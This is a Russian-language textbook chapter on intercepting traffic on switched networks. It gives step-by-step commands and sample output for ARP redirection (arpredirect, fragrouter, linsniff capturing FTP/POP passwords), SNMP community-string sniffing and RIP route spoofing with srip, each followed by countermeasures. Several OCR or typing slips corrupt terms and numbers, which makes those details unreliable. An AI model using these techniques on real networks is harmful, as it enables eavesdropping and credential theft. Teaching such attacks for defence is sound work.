Вы здесь

11. Анализ пакетов на коммутаторе сети



Анализ пакетов на коммутаторе сети


На первый взгляд кажется, что для повышения скорости и уровня безопасности можно просто добавить в сеть новый коммутатор. Если вы считаете, что это позволит удержать любознательных пользователей от прослушивания интенсивного сетевого трафика, то такая позиция может вызвать лишь улыбку. Неужели вы думаете, что новый коммутатор способен разрешить все существующие проблемы? Подумайте хорошенько еще раз.
Протокол ARP (Address Resolution Protocol — протокол разрешения адресов, RFC 826) обеспечивает динамическое преобразование 32-битовых IP-адресов в 48-битовые физические адреса сетевых устройств. Когда узлу требуется обратиться к соседним устройствам из той же сети (включая шлюз, используемый по умолчанию), он рассылает широковещательные сообщения ARP для поиска физического адреса требуемого узла. Соответствующий узел отвечает на запрос ARP, сообщая свой физический адрес, после чего и начинается взаимодействие.
К сожалению, трафик ARP с исходного узла можно перенаправить на компьютер взломщика. Это можно осуществить даже в сетях с коммутацией пакетов. Перехваченные сообщения можно просмотреть с использованием анализатора сетевых пакетов, а затем передать их в реальный пункт назначения. Этот сценарий известен как атака с применением "третьего среднего" (man in the middle). Такой подход оказывается относительно простым. Рассмотрим его реализацию на примере.

Перенаправление ARP



В рассматриваемом примере три компьютера соединены с сетевым коммутатором. Система crush является шлюзом, заданным по умолчанию, с IP-адресом 10.1.1.1. Компьютер shadow— это исходный узел с IP-адресом 10.1.1.18. Система twister представляет собой компьютер взломщика, который будет выполнять роль "третьего-среднего". Его IP-адрес 10.1.1.19. Для подготовки нападения на узле twister запустим утилиту arpredirect, входящую в состав пакета dsniff Дага Сонга. Эта утилита позволит нам перехватывать пакеты, передаваемые исходным узлом по сети другому узлу, который обычно представляет собой шлюз, используемый по умолчанию.

Перед тем как приступить к изучению этого подхода в собственной сети, обсудите этот вопрос с сетевым администратором. Если на вашем коммутаторе включен режим защиты портов, то это может привести к блокированию всех пользователей, обратившихся к нему.

Не забывайте о том, что все компьютеры соединены с коммутатором и у нас имеется возможность просматривать лишь широковещательный сетевой трафик. Однако как показано ниже, с помощью утилиты arpredirect мы сможем просмотреть весь поток сообщений, передаваемый между узлами shadow и crush.
На узле twister выполним следующую команду.

[twister] ping crush
PING 10.1.1.1 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=0 ttl=128 time=1.3 ms
[twister] ping shadow
PING 10.1.1.18 from 10.1.1.19 : 56(84) bytes of data.
64 bytes from 10.1.1.18: icmp_seq=0 ttl=255 time=5.2 ms



В результате в таблицу ARP компьютера twister будет помещен физический адрес соответствующих узлов, которые понадобятся при запуске утилиты arpredirect.

[twister] arpredirect -t 10.1.1.18 10.1.1.1
intercepting traffic from 10.1.1.18 to 10.1.1.1 (^С to exit)...

После выполнения этой команды весь поток сообщений, передаваемый с узла shadow на используемый по умолчанию шлюз crush, будет перенаправляться на компьютер взломщика, twister. На этом узле необходимо также включить режим последующей передачи IP-пакетов (forwarding IP traffic), чтобы он функционировал в качестве маршрутизатора и после перехвата сообщений с узла shadow перенаправлял их на узел crush. На компьютере twister режим передачи пакетов можно активизировать на уровне ядра, однако делать этого не рекомендуется, поскольку в этом случае могут передаваться также пакеты ICMP, что может привести к нарушению всего процесса. Вместо этого воспользуемся утилитой fragrouter (http://www.anzen.com/ research/nidsbench/fragrouter.html) и активизируем обычный режим передачи IP-пакетов с помощью следующей команды.

[twister] fragrouter -Bl
fragrouter: base-1: normal IP forwarding
10.1.1.18.2079 > 192.168.20.20.21: S 592459704:592459704(0)
10.1.1.18.2079 > 192.168.20.20.21: P 592459705:592459717(12)
10.1.1.18.2079 > 192.168.20.20.21: . ack 235437339
10.1.1.18.2079 > 192.168.20.20.21: P 592459717:592459730(13)
<вывод сокращен>

И наконец, на узле twister нужно активизировать простую программу анализа пакетов, чтобы иметь возможность перехватывать все ценные данные. Для получения более подробной информации об анализаторах сетевых пакетов читайте главы 6 и 8.

[twister] linsniff
Linux Sniffer Beta v. 99 Log opened.
-----[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [21]
USER saumil
PASS lamDaman!!
PORT 10,1,1,18,8,35
NLST
QUIT
-----[SYN] (slot 1)
10.1.1.18 => 192.168.20.20 [110]
USER saumil PASS lamOwned
[FIN] (1)

Теперь посмотрим, что же произойдет. После запуска утилиты arpredirect узел twister будет передавать фальшивые ARP-ответы узлу shadow и выдавать себя за узел crush. Узел shadow успешно обновит свою таблицу ARP и поместит в нее "новый" физический адрес узла crush. После этого пользователь компьютера shadow начнет сеанс FTP и POP с узлом 192.168.20.20. Однако вместо передачи пакетов на компьютер crush, реальный используемый по умолчанию шлюз, узел shadow будет введен в заблуждение, поскольку в его таблицу ARP были внесены соответствующие изменения. Через узел twister весь трафик будет перенаправляться на узел 192.168.20. 20, поскольку с помощью утилиты fragrouter мы активизировали режим перенаправления IP-пакетов. Другими словами, узел twister будет играть роль маршрутизатора.
В рассмотренном примере мы просто перенаправили все сетевые пакеты, передаваемые с узла shadow на узел crush. Однако вполне возможно перенаправить весь трафик на узел twister, опустив параметр -t.

[twister] arpredirect 10.1.1.1
intercepting traffic from LAN to 10.1.1.1 (ЛС to exit)...

Нетрудно догадаться, что в сети с интенсивным трафиком это приведет к настоящему хаосу.
Если вы не очень хорошо знакомы с системой UNIX, то у вас может возникнуть закономерный вопрос: можно ли утилиту arpredirect использовать в системе Windows. К сожалению, утилита arpredirect не перенесена на эту платформу, но ничто не мешает нам воспользоваться альтернативными вариантами. Для некоторых коммутаторов можно установить сетевое подключение к порту простого концентратора. Затем к этому концентратору можно подключить компьютер с системой UNIX, на котором запущена утилита arpredirect, а также компьютер под управлением Windows, на котором запушена выбранная вами программа-анализатор. Система UNIX будет успешно перенаправлять весь трафик, тогда как система Windows будет его перехватывать на локальном концентраторе.

Контрмеры: предотвращение перенаправленияАВР



Как вы увидели в предыдущем разделе, не составляет никаких проблем генерировать ложные ответы ARP и модифицировать таблицу ARP на большинстве узлов локальной сети. Где это только возможно, задавайте статические записи таблицы ARP, особенно на важных системах. Стандартный прием заключается в задании статических записей АКР, определяющих взаимодействие брандмауэра и пограничных маршрутизаторов. Это можно реализовать следующим образом.

[shadow] arp -s crush 00:00:С5:74:ЕА:ВО
[shadow] arp -a
crush (10.1.1.1) at 00:00:05:74:ЕА:ВО [ether] PERM on ethO

Обратите внимание на флаг PERM, который является признаком статической записи ARP.
Использование постоянных статических маршрутов для внутренних сетевых узлов является не самой распространенной практикой в мире. Поэтому можно применять утилиту arpwatch, предназначенную для отслеживания пар АКР-адрес/IР-адрес и уведомления о любых обнаруженных изменениях.
Для активизации этого режима запустите утилиту arpwatch, указав при этом интерфейс, мониторинг которого нужно осуществлять. [crush] .arpwatch -i rl0
Как видно из следующего примера, утилита arpwatch обнаружила работу утилиты arpredirect и поместила соответствующую запись в журнал /var/log/messages.

May 21 12:28:49 crush: flip
flop 10.1.1.1 0:50:56:bd:2a:f5 (0:0:c5:74:ea:bO)

Поскольку подобную деятельность выявить не очень легко, то такой мониторинг будет полезен при ее идентификации.

snmpsniff



Если ваш компьютер находится в сегменте сети с множественным доступом, то совсем неплохо ее "прослушать" и узнать, что же в ней происходит. Воспользуйтесь мощным анализатором пакетов SnifferPro компании Network Associates или запустите утилиту snmpsnif f, разработанную Нуно Леитао (Nuno Leitao, nuno.leitao@convex.pt). а затем посмотрите, какую информацию вы получили.
Утилита snmpsniff — это прекрасное средство для перехвата не только строк доступа, но и запросов SNMP. Достаточно запустить ее с указанными ниже параметрами, чтобы практически гарантированно получить нечто интересное.

[root@kramer snmpsniff-0.9b]# ./snmpsniff.sh
snmpsniffer: listening or. ethO
(05:46:12) 172.31.50.100(secret)-» 172.31.50.2 (ReqID:1356392156)
GET:
<.iso.org.dod.internet.ragmt.mib-2.system.1.0>(NULL)
= NULL (05:46:12) 172.31.50.2(secret)-» 172.31.50.100
(ReqID:1356392156)
RESPONSE (Err:0): <.iso.org.dod.internet.mgmt.mib-2.system.1.0>
(Octet String) = OCTET STRING- (ascii) : Cisco Internetwork
Operating System Software ..IOS (tin) 3000 Software (IGS-I-L),
Version 11.0(16), RELEASE SOFTWARE (fcl)..Copyright (c) 1986-1997
by Cisco Systems, Inc...Compiled
Tue 24-Jun-97 12:20 by jaturner

Как видно из приведенного выше фрагмента, злоумышленнику удалось узнать одну из строк доступа (secret), которая может оказаться строкой доступа, позволяющей не только получать, но и записывать данные на маршрутизатор 172.31.50.2 с помощью SNMP. Теперь злоумышленник сможет получить доступ не только к устройствам вашей сети, но и попробовать взломать еще одну "жертву" — компьютер с IP-адресом 172.31.50.100.

Контрмеры: защита трафика ЗММР



Одна из защитных мер, позволяющих предотвратить перехват трафика SNMP, заключается в его шифровании. В обоих версиях этого протокола, SNMP\2 и SNMPvS, имеется возможность применения алгоритмов шифрования и стандарта DES для шифрования конфиденциальной информации. Альтернативный подход заключается в реализации защищенного канала на базе частной виртуальной сети (VPN — Virtual Private Network). При использовании клиентского программного обеспечения VPN, разработанного компанией Entrust (http://www.entrust.com) или компанией NortelNetworks (http://www.nortelnetworks.com), гарантируется шифрование трафика между клиентским узлом и концом канала VPN.

Ложные пакеты RIP



После успешной идентификации маршрутизаторов вашей сети, опытный взломщик наверняка предпримет попытку найти те из них, которые поддерживают протокол маршрутизации RIP (Routing Information Protocol) версии 1 (RFC 1058) или 2 (RFC 1723). Почему? Дело в том, что с его помощью легко сгенерировать ложные пакеты. Объясняется это следующими причинами.

  •  Протокол RIP базируется на протоколе UDP (порт UDP 520) и таким образом также не требует наличия открытого соединения (connectionless). Другими словами, соответствующий пакет будет принят от любого узла, несмотря на то, что такой пакет никогда не был отправлен.
  •  В протоколе RIP версии 1 отсутствует механизм аутентификации, что позволяет любому узлу отправить пакет маршрутизатору RIP и получить требуемые данные.
  •  Протокол RIP версии 2 поддерживает упрощенную аутентификацию, позволяющую использовать пароли в виде незашифрованного текста длиной 16 байт. Однако, как теперь вам известно, подобные пароли можно без проблем перехватить.

В результате взломщик может просто отправить маршрутизатору RIP ложные пакеты и указать, чтобы пакеты передавались в другую сеть или узел, а не на требуемый узел. Вот как можно осуществить атаку с помощью ложных пакетов RIP.
1. Идентифицируйте маршрутизатор RIP, который вы планируете атаковать. Для этого выполните сканирование UDP-порта с номером 520.
2. Определите таблицу маршрутизации.

  •  Если вы находитесь в том же физическом сегменте, что и маршрутизатор, и можете перехватывать сетевой трафик, то достаточно просто прослушать широковещательный трафик RIP и получить из него всю интересующую информацию о записях маршрутизации (если вы имеете дело с активным маршрутизатором RIP) или запросить маршруты (в случае пассивного или активного маршрутизатора RIP).
  •  Если вы находитесь на удаленном узле или лишены возможности перехватывать пакеты, то можно воспользоваться простой утилитой rprobe. Запустив эту утилиту в одном окне, можно передать маршрутизатору RIP запрос о доступных маршрутах:

[roottt] rprobe -v 192.168.51.102
Sending packet
Sent 24 bytes.

  •  С помощью утилиты tcpdump (или другой программы перехвата пакетов), запущенной в другом окне, можно прочитать ответ маршрутизатора.

---- RIP Header----
Routing data frame 1
Address family identifier = 2 (IP)
IP address = [10.42.33.0]
Metric = 3
Routing data frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 3
Routing data frame 2
Address family identifier = 2 (IP)
IP address = [10.45.33.0]
Metric = 1

3. Определите наилучшее направление атаки. Тип атаки ограничивается лишь фантазией взломщика, однако в данном примере мы перенаправим весь трафик на определенный узел через наш собственный компьютер, чтобы можно было проанализировать все пакеты и, не исключено, извлечь из них информацию о паролях. Для этого на маршрутизатор RIP (192.168.51.102) необходимо добавить следующий маршрут.
IP-адрес = 10.45.33.10 
Маска подсети =255.255.255.255
Шлюз = 172.16.41.200 
Метрика = 1
4. Добавьте маршрут. Для этого с помощью утилиты srip передайте маршрутизатору ложный пакет со статическим маршрутом.
[root#] srip -2 -n 255.255.255.255 172.16.41.200 192.168.51.102 10.45.33.10 1
5. Теперь все пакеты, предназначенные для узла 10.45.33.1 (который может быть любым сервером, содержащим конфиденциальную информацию), будут перенаправляться на наш компьютер (172.16.41.200) для последующей передачи. Конечно, для дальнейшей передачи этих пакетов необходимо воспользоваться утилитой fragrouter или любым другим средством уровня ядра.

Утилита fragrouter
[root*] ./fragrouter -Bl
Передача пакетов на уровне ядра
[roottt] vi /proc/sys/net/ipv4/ip_forward (change 0 to 1)

6. Установите свой любимый анализатор пакетов для системы Linux (например, программу dsnif f), а затем приступите к просмотру "на лету" имен пользователей и паролей.
Как видно из следующего рисунка, обычный поток сообщений с узла DIANE можно без проблем перенаправить через компьютер взломщика (PAUL) и лишь затем передать их дальше на узел назначения (FRASIER).



 Контрмеры: защита от ложных пакетов RIP

  •  Запретите поддержку протокола RIP на своем маршрутизаторе. В протокол OSPF (Open Shortest Path First) встроены более защищенные механизмы аутентификации, которые ограничивают возможности взломщика по использованию ложных пакетов RIP.
  •  Если это возможно, вообще запретите на пограничном маршрутизаторе обработку входящих пакетов RIP (порты 521 TCP/UDP). Требуйте использования лишь статических маршрутов.




Top.Mail.Ru